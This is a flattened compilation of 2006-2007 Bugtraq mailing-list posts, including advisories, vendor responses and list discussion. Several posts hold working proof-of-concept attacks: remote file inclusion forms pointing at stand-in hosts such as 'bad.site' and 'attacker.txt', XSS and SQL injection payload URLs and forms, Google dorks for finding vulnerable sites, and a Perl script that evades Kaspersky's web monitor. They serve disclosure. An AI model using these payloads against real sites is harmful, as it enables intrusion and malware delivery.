[EMAIL PROTECTED] [EMAIL PROTECTED] [EMAIL PROTECTED] [EMAIL PROTECTED] coppa_state=overregister_submit=Register John Martinelli [EMAIL PROTECTED] http://john-martinelli.com April 18th, 2007
CodeBreak (codebreak.php process_method) - Remote File Inclusion Vulnerability
http://john-martinelli.com/work/codebreak.txt !-- CodeBreak (codebreak.php process_method) - Remote File Inclusion Vulnerability Google d0rk: intitle:CodeBreak - Hidden Morse Code Vulnerable Code: include($_POST[process_method] . _ . $_POST[output_method] . .inc); John Martinelli [EMAIL PROTECTED] http://john-martinelli.com April 11th, 2007 !-- html headtitleCodeBreak (codebreak.php process_method) - Remote File Inclusion Vulnerability/titlebody centerbrbrfont size=4CodeBreak (codebreak.php process_method) - Remote File Inclusion Vulnerability/fontbrfont size=3discovered by a href=http://john-martinelli.com;John Martinelli/abrbrGoogle d0rk: a href=http://www.google.com/search?q=intitle%3A%22CodeBreak+-+Hidden+Morse+Code;intitle:CodeBreak - Hidden Morse Code/a/fontbr brbr form action=http://www.target.com/codebreak.php; method=post input name=input_text size=75 value=input_text type=hidden input name=process_method size=75 value=http://bad.site/badcode.txt?; input type=submit value=Execute RFI Attack class=button /form /body/html
UBB.threads (= 6.1.1) SQL Injection Vulnerability
UBB.threads SQL Injection Vulnerability The variable 'C' in UBB.threads is susceptible to SQL injection. Vulnerability: http://target.com/ubbthreads.php?Cat=catC=' Vulnerable: UBB.threads = 6.1.1 Google d0rk: allintitle:Forums powered by UBB.threads John Martinelli [EMAIL PROTECTED] http://john-martinelli.com april 8th, 2007
QuizShock 1.6.1 - Cross-Site Scripting Vulnerability
!-- QuizShock 1.6.1 - Cross-Site Scripting Vulnerability Vulnerable: QuizShock 1.6.1 (tested 1.5.8, 1.5.9, 1.6.0, and 1.6.1) Google d0rk: allintitle:powered by QuizShock John Martinelli [EMAIL PROTECTED] http://john-martinelli.com april 8th, 2007 !-- html headtitleQuizShock 1.6.1 Cross-Site Scripting Vulnerability/titlebody centerbrbrfont size=4QuizShock 1.6.1 Cross-Site Scripting Vulnerability/fontbrfont size=3discovered by a href=http://john-martinelli.com;John Martinelli/a/fontbr brbr form action=http://target.com/auth.php; method=post input type=hidden name=ts_username size=10 class=input input name=forward_to size=75 value=lt;quot;lt;scriptalert(551660661);/script input type=hidden name=fn value=login input type=hidden name=ts_password type=password class=input input type=hidden name=remember value=0 class=input input type=submit value=Execute XSS Attack class=button /form /body/html
DeskPRO v2.0.1 - Cross-Site Scripting Vulnerability
!-- DeskPRO v2.0.1 - Cross-Site Scripting Vulnerability Vulnerable: DeskPRO v2.0.1 (other versions should also be vulnerable) Google d0rk: intitle:Powered by DeskPRO John Martinelli [EMAIL PROTECTED] http://john-martinelli.com April 8th, 2007 !-- html headtitleDeskPRO v2.0.1 - Cross-Site Scripting Vulnerability/titlebody centerbrbrfont size=4DeskPRO v2.0.1 - Cross-Site Scripting Vulnerability/fontbrfont size=3discovered by a href=http://john-martinelli.com;John Martinelli/a/fontbr brbr form action=http://target.com/login.php; method=post input type=hidden name=login_form value=login input type=hidden name=_getvars value=getvars input type=hidden name=_postvars value=postvars input type=hidden name=_filevars value=filevars input type=hidden name=password value=password input type=hidden name=remember value=0 input name=username size=75 value=lt;quot;lt;scriptalert(1);/script input type=submit value=Execute XSS Attack class=button /form /body/html
Re: Evading the Norman SandBox Analyzer
This is the same as the results found 2 years ago as published by Joanna Rutkowska as RedPill (http://invisiblethings.org/papers/ redpill.html) (and before that in a Usenix paper) and therefore everyone who is interested in emulated/virtualized security already knows that SIDT is a problem instruction. John On Feb 28, 2007, at 11:36 AM, Arne Vidstrom wrote: Hi all, Summary: The Norman SandBox Analyzer (http://sandbox.norman.no/live.html) runs malicious code samples in an emulated environment while logging their actions. In practice it is more or less impossible to make an emulated environment perfectly similar to the real thing. It is therefore possible to write malicious code that does not behave maliciously when run in the Sandbox Analyzer. Here I will give one example of such a technique. Full text at: http://www.ntsecurity.nu/onmymind/2007/2007-02-27.html I have notified Norman about the problem but have chosen not to wait for them to patch it. The reason being that this is not a regular vulnerability, but rather an example of an inherent weakness in emulated sandboxes in general. I assume they will patch this particular case shortly though since it should be very easy to do. Regards /Arne http://ntsecurity.nu http://vidstrom.net
Re: Remove all admin-root authorization prompts from OSX
haha, and I believe kev already had something to say on the topic when a n00b had previously posted that as a vuln in Mac OS X: Explain to me how this is a MacOS specific bug? I can duplicate this behavior on my debian linux machine. http://www.securityfocus.com/archive/1/395142/30/0/threaded John On Jan 25, 2007, at 6:34 PM, Marvin Simkin wrote: I respectfully disagree with this proposal and maybe we should discuss it. Being a member of the admin group is NOT 100% equal to being root. Therefore when you switch from admin group to uid=0 you are escalating privileges. A trojan that gets control of an admin's session should not be able to escalate itself to root without a password prompt, which requires a human to decide (rightly or wrongly...) yes I do want to increase the authority of this process. Sure, an admin should be smart enough not to get trojaned, but what if they do anyway? Maybe a cracker could write a trojan that esclates itself using the powers of the admin group, but why make it easier for those who don't know how? The myth that it should be easy for uneducated users to expose their computers to harm is one reason why certain other GUI platforms have so many security problems. host:/tmp1 sysmsimkin$ id uid=505(sysmsimkin) gid=505(sysmsimkin) groups=505(sysmsimkin), 81 (appserveradm), 79(appserverusr), 80(admin) host:/tmp1 sysmsimkin$ ls -ld /tmp1 drwxr-xr-x 3 501 admin 102 Jun 28 2006 /tmp1 host:/tmp1 sysmsimkin$ mkdir /tmp1/tmp2 mkdir: /tmp1/tmp2: Permission denied host:/tmp1 sysmsimkin$ /usr/bin/sudo /bin/bash Password: host:/tmp1 root# mkdir /tmp1/tmp2 host:/tmp1 root# ls -ld /tmp1/tmp2 drwxr-xr-x 2 root admin 68 Jan 25 11:20 /tmp1/tmp2 host:/tmp1 root# exit host:/tmp1 sysmsimkin$ rmdir /tmp1/tmp2 rmdir: /tmp1/tmp2: Permission denied host:/tmp1 sysmsimkin$ /usr/bin/sudo /bin/bash host:/tmp1 root# rmdir /tmp1/tmp2 host:/tmp1 root# exit host:/tmp1 sysmsimkin$ More interesting (to me) why wasn't I prompted for a password the second time? (Yes I know it was designed that way, I'm asking was that the right decision.) Presumably there is a window of vulnerability for a few minutes AFTER you have been root during which you could fall victim to a trojan. - Marvin Simkin Planetary Geology Group School of Earth and Space Exploration Arizona State University http://simkin.asu.edu/ -Original Message- From: K F (lists) [mailto:[EMAIL PROTECTED] Sent: Wed 2007-01-24 18:20 To: bugtraq@securityfocus.com Subject: Remove all admin-root authorization prompts from OSX http://www.petitiononline.com/31337OSX/petition.html -KF
Re: Jax Petition Book (languagepack) Remote File Include Vulnerabilities
Actually, this can be pretty serious depending on server settings, but an improper example was given. Better one: jax_petitionbook.php?languagepack=../../some_other_allowed_file_uploads/myfile.php.gif%00 Many servers will have magic quotes on to defeat the null byte, but by no means all. John [EMAIL PROTECTED] wrote: This is not a vulnerability. Since $languagepack is prefixed by language/, the PHP stream handler will simply try to open a local file. Also, you can only modify $languagepack if register_globals is on, which, it rarely is these days. Can we stop with the PHP 'vulnerabilities' that aren't? -Blake Whatchu talkin' 'bout, Willis? -- AYYILDIZ.ORG PreSents... *Script: Jax Petition Book *Download: jtr.de/scripting/php/guestbook/petitionbook%20v1.0.3.06.zip *Contact: ilker Kandemir ilkerkandemir[at]mynet.com --- *Code: require ( language/ .$languagepack . .inc.php ); --- *Exploit: jax_petitionbook.php?languagepack=http://attacker.txt? smileys.php?languagepack=http://attacker.txt? --- Tnx:H0tturk,Dr.Max Virus,Asianeagle,PcDelisi,CodeR,Dum?nci Special Tnx: AYYILDIZ.ORG
Re: aBitWhizzy [local file include]
This vulnerability is now fixed, if you have a version earlier than 4 December 2006, get a new version from http://www.unverse.net/abitwhizzy/
CVE-2006-5815: remote code execution in ProFTPD
=== Summary === On 6 November 2006, Evgeny Legerov [EMAIL PROTECTED] posted to BUGTRAQ[1], announcing his commercial VulnDisco Pack for Metasploit 2.7[2]. One of the included exploits, vd_proftpd.pm, takes advantage of an off-by-one string manipulation flaw in ProFTPD's sreplace() function to allow a remote attacker to execute arbitrary code. This vulnerabillity, identified as CVE-2006-5815[3], is believed to affect all versions of ProFTPD up to and including 1.3.0, but exploitability has only been demonstrated with version 1.3.0rc3. The demonstrated exploit relies on write access via FTP for exploitability, but other attack vectors may make exploitation of a read-only FTP server possible. This vulnerability has been patched[4] in the latest release of ProFTPD, 1.3.0a, which is available from the ProFTPD web site, http://www.proftpd.org/. Mitigation techniques have also been developed for use until a patched version can be installed. Timeline 10 November - [EMAIL PROTECTED] receives a message from a ProFTPD user inquiring about a fix for the vulnerability announced in GLEG's product. 10 November - ProFTPD core team attempts contact with [EMAIL PROTECTED] 15 November - Second contact attempt with [EMAIL PROTECTED] 16 November - Contact established, vulnerability details transferred. 20 November - Disclosure date coordinated. 27 November - Coordinated disclosure. Given the Thanksgiving holiday, the ProFTPD core team chose to perform a coordinated disclosure the following Monday, to allow affected users and vendors ample opportunity to perform patching operations. Unfortunately, erroneous information on the location and nature of this flaw has disseminated from unofficial sources. Some vendors have already released patches that attempt to address CVE-2006-5815 based on reports that a bug in ProFTPD's CommandBufferSize processing is its cause. To the best of the core team's knowledge, the CommandBufferSize bug in ProFTPD is not exploitable. Vendors are welcomed and encouraged to contact [EMAIL PROTECTED] to exchange information on announced vulnerabilities, and we endeavor to work to the best of our abilities with those contacting the core team. Given that we had no information about this vulnerability until several days after it was published and a CVE issued, we attempted to address it to the best of our abilities. Constructive criticism is welcome on how to better handle similar situations should they arise in the future. == Mitigation == Some users may not be able to immediately patch their ProFTPD installations. Until they are able to install a patched version, the following steps can mitigate the impact of this flaw: - Remove DisplayConnect, DisplayLogin, DisplayChdir, DisplayFirstChdir, DisplayFileTransfer, AccessDenyMsg, and WrapDenyMsg directives from your ProFTPD configuration. - Avoid using variable substitutions/magic cookies/%-style escapes in /etc/shutmsg, when specifying a warning message with the ftpshut(8) command, or in RewriteRule directives. - Add a DenyFilter directive to your configuration to limit FTP command arguments to only characters that you require. For example: 'DenyFilter [^A-Za-z0-9_.-]' limits FTP command arguments (such as filenames) to alphanumeric characters, the underscore, period, and dash. [1] http://seclists.org/bugtraq/2006/Nov/0094.html [2] http://gleg.net/vulndisco_meta.shtml [3] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5815 [4] http://proftp.cvs.sourceforge.net/proftp/proftpd/src/support.c?r1=1.79r2=1.80sortby=date pgp3SP4aGkwkN.pgp Description: PGP signature
Re: Cracking String Encryption in Java Obfuscated Bytecode
Hi, 1) If you are deploying Java on the server you are protected by so many layers, code obfuscation is not critical If you want to distribute your app without people getting access to the code itself, being on client or server is not relevant. Whatever the reason for wanting to do so. 2) If you are deploying Java Applets for enterprise applications, you are nuts. They are inherently insecure and Java applets have a long history of critical problems. So have cookies and javascript based web applications. Yet cookies are used everywhere for anything/everything and ajax is the new big boy in town. It is not because something is insecure that people don't use it in the real world, not the perfect secure one. You would be amazed of how many times I heard it's useless to check again the data on the [php|java|asp|perl] side, we already did it in JS or why add a java middle-tier server side, we can obfuscate the jar file and have the client PC talk directly to the database (yeah sure, I'll make a public, unencrypted, access for you guys). From a security *threat* point of view, I agree that we could/should more of these issues. With the continuous move towards bytecode type of languages (with java and .NET being the prime examples) Same goes with PHP BTW. JG
Whitepaper: Implementing and Detecting a PCI Rootkit
Hi guys, I have released a paper entitled Implementing and Detecting a PCI Rootkit which is available here: http://www.ngssoftware.com/research/papers/Implementing_And_Detecting_A_PCI_Rootkit.pdf I was originally planning to release this early in 2007 but due to the recent publication of BIOS Disassembly Ninjutsu Uncovered by Darmawan Salihun I have decided to publish now (please note, I have not yet seen the contents of this book). Abstract: In February 2006, the author presented a means of persisting a rootkit in the system BIOS via the Advanced Configuration and Power Interface (ACPI). It was demonstrated that the ACPI tables within the BIOS could be modified to contain malicious ACPI Machine Language (AML) instructions that interacted with system memory and the I/O space, allowing the rootkit bootstrap code to overwrite kernel code and data structures as a means of deployment. Whilst using ACPI as a means of persisting a rootkit in the system BIOS has numerous advantages for the rootkit writer over traditional means of persistence (that include storing the rootkit on disk and loading it as a device driver), there are several technologies that are designed to mitigate this threat. Both Intel SecureFlash and Phoenix TrustedCore motherboards prevent the system BIOS from being overwritten with unsigned updates. This paper discusses means of persisting a rootkit on a PCI device containing a flashable expansion ROM. Previous work in the Trusted Computing field has noted the feasibility of expansion ROM attacks (which is in part the problem that this field has set out to solve), however the practicalities of implementing such attacks has not been discussed in detail. Furthermore, there is little knowledge of how to detect and prevent such attacks on systems that do not contain a Trusted Platform Module (TPM). Whilst the discussion mainly focuses on the Microsoft Windows platform, it should be noted that the techniques are equally likely to apply to other operating systems. Thanks John -- John Heasman Director of Research NGS Software Ltd Tel+44 (0) 208 401 0070 Fax+44 (0) 208 401 0076 http://www.ngssoftware.com The information contained in this email and any subsequent correspondence is private, is solely for the intended recipient(s) and may contain confidential or privileged information. For those other than the intended recipient(s), any disclosure, copying, distribution, or any other action taken, or omitted to be taken, in reliance on such information is prohibited and may be unlawful. If you are not the intended recipient and have received this message in error, please inform the sender and delete this mail and any attachments. The views expressed in this email do not necessarily reflect NGS policy. NGS accepts no liability or responsibility for any onward transmission or use of emails and attachments having left the NGS domain.
RE: Old vulnerable sotwares collection
Older versions of various freely distributable programs can be found at OldVersion.com (http://www.oldversion.com/). -- John Rigali Information Technology Coordinator Verbum Dei High School http://www.verbumdeihs.com/ Working in the Jesuit Tradition -Original Message- From: Jerome Athias [mailto:[EMAIL PROTECTED] Sent: Monday, July 10, 2006 12:40 AM To: bugtraq@securityfocus.com Subject: Old vulnerable sotwares collection Hi, it's often difficult to find old versions of vulnerable softwares it's usefull to have these old versions to test an exploit, study a vulnerability or doing a patch analysis... it's also usefull to test a fuzzer, a scanner... for a course or a challenge... so i think about to build a little reposiroty with old versions of little softwares (free or trial) if interested or could help, please visit this page: https://www.securinfos.info/old_softwares_vulnerable.php Cheers /JA
Re: PHP security (or the lack thereof)
--- Darren Reed [EMAIL PROTECTED] wrote: From my own mail archives, PHP appears to make up at least 4% of the email to bugtraq I see - or over 1000 issues since 1995, out of the 25,000 I have saved. People complain about applications like sendmail...in the same period, it has been resopnsible for less than 200. Do we have a new contender for worst security offender ever written ? I guess most of the remaining offending apps were written in C: as much as 96% ?!! (including basically all of microsoft's stuff!!) Surely the least secure language of all time !!! Note also that no vulnerable apps were written in: - cobol, rpg3, prolog, ada, scheme, lisp, pl/1, occam, modula-2, or MIX We're planning to roll out our next enterprise ecommerce grid as a set of modula-2 plugins to cobol-based container controlled by a dynamic gridded application matrix written in prolog, all running on highly parallel lisp machines. ;) john ___ All new Yahoo! Mail The new Interface is stunning in its simplicity and ease of use. - PC Magazine http://uk.docs.yahoo.com/nowyoucan.html
[NOBYTES.COM: #12] ViArt Shop v2.5.5 - XSS Vulnerability
ViArt Shop v2.5.5 Free (and possibly Light, Standard, and Enterprise)
Authors Site: http://www.codetosell.com/
+-[Examples:]--+
XSS:
/forum.php?forum_id=scriptalert('XSS');/scriptcategory_id=1
/reviews.php?category_id=0item_id=4rnd=1149618267action=1item_id=scri
ptalert('XSS');/scriptcategory_id=0recommended=1rating=0summary=1com
ments=1user_name=1
+-[Notes:]-+
Vulnerabilities found on: 6 June 2006
Author(s) Informed on: 7 June 2006
Author(s) Response: 7 June 2006
Author(s) Fix: 7 June 2006
Authors Fix: http://www.codetosell.com/downloads/xss_fix.zip
[EMAIL PROTECTED]
http://www.NoBytes.com
Re: [Info Disclosure] Diesel PHP Job Site Latest Version
As a systems administrator, I must say that your methods are unacceptable. You are violating your customers' trust by doing this without their knowledge. You even made an effort to hide the code that sends the information! This is outright deceit and should not be tolerated by anyone. Regardless of your motives, this deceitfulness must be exposed for all to know about. Perhaps you should trust your customers more. As word of this gets out, you are likely to have a lot fewer of them. I just feel sorry for those who do not find out in time and have their systems compromised because login credentials and other information were sent clear-text over the Internet. -John [EMAIL PROTECTED] wrote: Hello, To explain this to all visitors, the information is used to prevent any unauthorized copies from running on the web. All of the php developers that sell products online use this method or even more methods. Please stop making such a big deal out of this because it's our way of protecting our work and business. Thank you for understanding ! DieselScripts Staff www.dieselscripts.com -- John Flynn [EMAIL PROTECTED] = Systems and Network Administration /\_/\ School of Computer Science( O.O ) Florida International University
Buffer overflow in QuickTime 7.0.4?
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 I'm not sure if this one is known but I see the last buffer overflows show Quicktime 7.x vulnerable and suggest upgrading to 7.0.4*. * http://docs.info.apple.com/article.html?artnum=303101 I was downloading Elephant's dream from http://osaddict.com/files/Elephants_Dream_1024-h264-st-aac.mov on Windows XP*, and started playing with scrolling past the end of the movie. This invariably crashes Firefox with the QuickTime player, etc etc. * http://orange.blender.org/ QuickTime, H.264 / AAC Stereo 1024x576 So I opened the QuickTime Player itself, v7.0.4, and threw it forward to half-way. I get a dialog box claiming the Microsoft Visual C Runtime detected a buffer overflow, and immediately remember-- windows has stack smash protection now, thanks to the MS Research Glepnir project looking into StackGuard! I know the basic concept-- canaries on the stack. So apparently I threw QuickTime 7.0.4 into an overflow again? The question here is, can anyone else reproduce this one? I don't have an exact environment or a file for you (it was downloading while it was going), but just let the download go for a bit and start trying to open it in QuickTime while it's downloading and scroll past the end. - -- All content of all messages exchanged herein are left in the Public Domain, unless otherwise explicitly stated. Creative brains are a valuable, limited resource. They shouldn't be wasted on re-inventing the wheel when there are so many fascinating new problems waiting out there. -- Eric Steven Raymond We will enslave their women, eat their children and rape their cattle! -- Bosc, Evil alien overlord from the fifth dimension -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.2.2 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iQIVAwUBRHiwCgs1xW0HCTEFAQLdjhAAjh+dcm6CWIpUBLewzQeYf3p+56UmAFAH Q8O2WwXmU/E9HM5O4jz2cYbSYOLiWnGu32Oqf2qPFhiWh9XF/k7pNd4c+uEMUKaL 0+zMgyXZL8hsVqY90vKqWuFU1r20rbqfanrnZMbrdGP5ApeVbgTtYoJMfnIoy0ow QqAHAwdtLpVYcFL1FJ/iM8smGYBI8B3pmMd/rmYTeY1bKmho5+3Ei0WQjDicZ2At aNR6Nlzk/tv3vOJQxMxfXnRwlE1dfPGtWuzkSQK8EFwjEwWJSfkiRD68/PCUaowY 1ziqL3PMUaUVDJc3Cj9sNdpeUTErOfgcsHc06OjxKundp52nznZIG8zGVnPmdAwj OptiIrCTxkTIhzQA5ZVeBVk0uKb9aSIJWq4oaYemvvsjoM+teVVu4oeGTdepodHA w9KdKiuUbAmdQRlcXiFk8XvnFbatxs4sKPtnUjVx8Ti+LST6b0G6HjIvOr6hTGz6 bJbm2ln5tozRXsZhThEKIYuB4h/psrREoHTs5ft5cwJG2w3HoeGJL68xkXARfZLc 3K5czeY0AZ/g6q7YF3XdjTraA8a/aM0pChAwximQJPdKerhSaKKYKQI1rf3ajwXY +I4O2//KDXWFZzgRNNEc2jjDGyo8e0eXz9xfmwPfwRq1KENwToUEOx4CH/EDIDZI aYKIDtHGFZk= =aJp3 -END PGP SIGNATURE-
Kaspersky antivirus 6: HTTP monitor bypassing
Kaspersky antivirus 6
Kaspersky internet security 6
www.kaspersky.com
Vulnerable Systems: KAV6, KIS6
Detail:
The vulnerability is caused due to HTTP parsing errors in the HTTP monitor
(Kaspersky Web-antivirus).
Any mailicious software on local computer can bypass HTTP virus monitor.
Solution:
There is no known solution.
Exploit code:
This perl script could be run with ActiveState Perl 5.8:
use IO::Socket::INET;
use strict;
my( $h_srv, $h_port, $h_url ) = ( 'www.eicar.com', 'http(80)',
'http://www.eicar.com/download/eicar.com' );
syswrite STDOUT, connecting to $h_srv:$h_port (for $h_url)\n;
my $s = IO::Socket::INET-new( PeerAddr = $h_srv,
PeerPort = $h_port,
Proto= 'tcp' );
die socket: $! unless $s;
sendthem( $s,
GET $h_url HTTP/1.1,
Host: $h_srv,
);
my $doc = read_body( $s, read_headers( $s ) );
syswrite STDOUT,
'document is '.$doc.' len='.length($doc).\n;
sub sendthem {
my $s = shift;
my $c = 0;
foreach( @_ ) {
my @a = split //, $_;
++$c;
syswrite STDOUT, query $c: ;
foreach( @a ) {
sendone( $s, $_ );
}
sendone( $s, \r );
sendone( $s, \n );
}
}
sub sendone {
my( $s, $v ) = @_;
$s-syswrite( $v );
syswrite STDOUT, $v;
# !!! comment next line to have monitoring working ;)
select( undef, undef, undef, 0.300 );
}
sub read_headers {
my( $s ) = @_;
my( $c, $cl ) = ( 0, 0 );
for( ;; ) {
my $l = read_line( $s );
++$c;
syswrite STDOUT, header $c: $l;
syswrite STDOUT, \r\n;
last if not $l and $c;
$cl = $1 if $l =~ /^Content-Length:\s+(\d+)/;
}
$cl;
}
sub read_line {
my( $s ) = @_;
my $str = '';
for( ;; ) {
my $v = '';
my $r = $s-sysread( $v, 1 );
die 'EOF reading headers!' unless $r;
last if $v eq \n;
next if $v eq \r;
$str .= $v;
}
return $str;
}
sub read_body {
my( $s, $cl ) = @_;
my( $str, $cli ) = ( '', $cl );
syswrite STDOUT, reading body content-length: $cli ...\n;
for( ;; ) {
my $v = '';
my $r = $s-sysread( $v, 1 );
last unless $r;
$str .= $v;
--$cl if $cli;
last if not $cl and $cli;
}
return $str;
}
SOE's implementation of Lithium Forums Software allows users to log on as each other.
Original bug/exploit was sent to Sony Online Entertainment December 5th (5 months ago) They havent fixed it yet. You can read details here: http://johnhasson.com/blog/archive/2006/05/18/175.aspx Summary: When logging into the forums (tested with the Matrix Online game forums) your sessionid is passed along the URL. And images/etc that link to other websites pass this URL along as the referrer. This URL can be used to log in as that person with out any authentication. Lithium has been contacted directly by me about this. I am waiting to hear back from then. SOE was also contacted it has not been fixed (5 months now) but they did say they would pass it along Forum Link: https://secure.station.sony.com/login/login/station/login_no_popup.jsp?returnURL=http%3A%2F%2Fmxoboards.station.sony.com%2Fmatrix%2F
RE: SYMSA-2006-003: Cisco Secure ACS for Windows - AdministratorPassword Disclosure
Hi Greg, No, the ACS Solution Engine (aka appliance) is not vulnerable. Thanks, John -Original Message- From: Greg owens [mailto:[EMAIL PROTECTED] Sent: Monday, May 08, 2006 6:45 PM To: Matthew Cerha (mcerha); bugtraq@securityfocus.com Cc: [EMAIL PROTECTED]; psirt (mailer list) Subject: Re: SYMSA-2006-003: Cisco Secure ACS for Windows - AdministratorPassword Disclosure Does this include the ACS appliance engine. Greg Owens, CCNP CCSP CISSP Email:[EMAIL PROTECTED] -- Sent from my Samsung I730 Wireless Handheld -Original Message- From: Matthew Cerha[EMAIL PROTECTED] Sent: 5/8/06 6:15:58 PM To: bugtraq@securityfocus.combugtraq@securityfocus.com Cc: [EMAIL PROTECTED][EMAIL PROTECTED], psirt (mailer list)[EMAIL PROTECTED] Subject: Re: SYMSA-2006-003: Cisco Secure ACS for Windows - AdministratorPassword Disclosure -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Cisco Response == This is Cisco PSIRT's response to the statements made by Symantec in its advisory: SYMSA-2006-003, posted on May 8, 2006. The original email/advisory is available at: http://www.symantec.com/enterprise/research/SYMSA-2006-003.txt This issue is being tracked by Cisco Bug ID: * CSCsb67457 ( registered customers only) -- Cisco Secure ACS Administrator Password Remote Retrieval and Decryption. We would like to thank Andreas Junestam and Symantec for reporting this vulnerability to us. We greatly appreciate the opportunity to work with researchers on security vulnerabilities, and welcome the opportunity to review and assist in product reports. Additional Information == Cisco Secure Access Control Server (ACS) provides centralized identity management and policy enforcement for Cisco devices. CSCsb67457 ( registered customers only) -- Cisco Secure ACS Administrator Password Remote Retrieval and Decryption. Symptom: A person with administrative access to the Windows registry of a system running Cisco Secure ACS 3.x for Windows can decrypt the passwords of all ACS administrators. Condition: Cisco Secure ACS 3.x for Windows stores the passwords of ACS administrators in the Windows registry in an encrypted format. A locally generated master key is used to encrypt/decrypt the ACS administrator passwords. The master key is also stored in the Windows registry in an encrypted format. Using Microsoft cryptographic routines, it is possible for a user with administrative privileges to a system running Cisco Secure ACS to obtain the clear-text version of the master key. With the master key, the user can decrypt and obtain the clear-text passwords for all ACS administrators. With administrative credentials to Cisco Secure ACS, it is possible to change the password for any locally defined users. This may be used to gain access to network devices configured to use Cisco Secure ACS for authentication. If remote registry access is enabled on a system running Cisco Secure ACS, it is possible for a user with administrative privileges (typically domain administrators) to exploit this vulnerability. If Cisco Secure ACS is configured to use an external authentication service such as Windows Active Directory / Domains or LDAP, the passwords for users stored by those services are not at risk to compromise via this vulnerability. This vulnerability only affects version 3.x of Cisco Secure ACS for Windows. Cisco Secure ACS for Windows 4.0.1 and Cisco Secure ACS for UNIX are not vulnerable. Cisco Secure ACS 3.x appliances do not permit local or remote Windows registry access and are not vulnerable. Workaround: It is possible to mitigate this vulnerability by restricting access to the registry key containing the ACS administrators' passwords. One feature of Windows operating systems is the ability to modify the permissions of a registry key to remove access even for local or domain administrators. Using this feature, the registry key containing the ACS administrators' passwords can be restricted to only the Windows users with a need to maintain the ACS installation or operate the ACS services. The following registry key and all of its sub-keys need to be protected. HKEY_LOCAL_MACHINE\SOFTWARE\Cisco\CiscoAAAv3.3\CSAdmin\Administrators Note: The CiscoAAAv3.3 portion of the registry key path may differ slightly depending on the version of Cisco Secure ACS for Windows that is installed. There are two general deployment scenarios for Cisco Secure ACS. The Windows users that need permissions to the registry key will depend on the deployment type. * If Cisco Secure ACS is not installed on a Windows domain controller, access to the registry key should
Re: [Full-disclosure] Microsoft DNS resolver: deliberately sabotagedhosts-file lookup
Actually, according to microsoft, the dns client in XP was *intended* to check to see if a dns lookup had failed earlier before going to the hosts file. We did ping the internal domain controller, added the bogus FQDN, and tried again. None of that worked, because prior to the VPN working, and lookup of the domain controller had failed, and been cached. So, because the failiure was checked before the hosts file, once the VPN was up, the dns lookups didn't work. Oh yes, the XP install was factory Dell. ---BeginMessage--- Then you've hosed your XP install. XP does not resolve cached addresses before the hosts file. Ping your 1918 domain controller. Add a bogus entry for the FQDN of the same machine. Ping it again. Hosts file overrides. I'm not sure what you mean by DNS failiures though. Please post something we can all use to test your rotten but unsurprising behavior. Oh, and before getting very frustrated, even in your hosed install, just try a IPCONFIG /flushdns next time. t On 4/17/06 5:33 AM, [EMAIL PROTECTED] [EMAIL PROTECTED] spoketh to all: The XP DNS client has other problems as well. It caches DNS failiures (arguably out of spec with the RFC, BTW), screwing up VPNs if you're VPNed into an internet network that has local domains which need to resolve to RFC1918 addresses. The cached failed lookups get prefered to forced entries in the hosts file, if that is tried as a way of forcing the dns lookups to work. Very frustrating. So, this isn't much of a surprise. Rotten, yes, surprising, no. ---End Message---
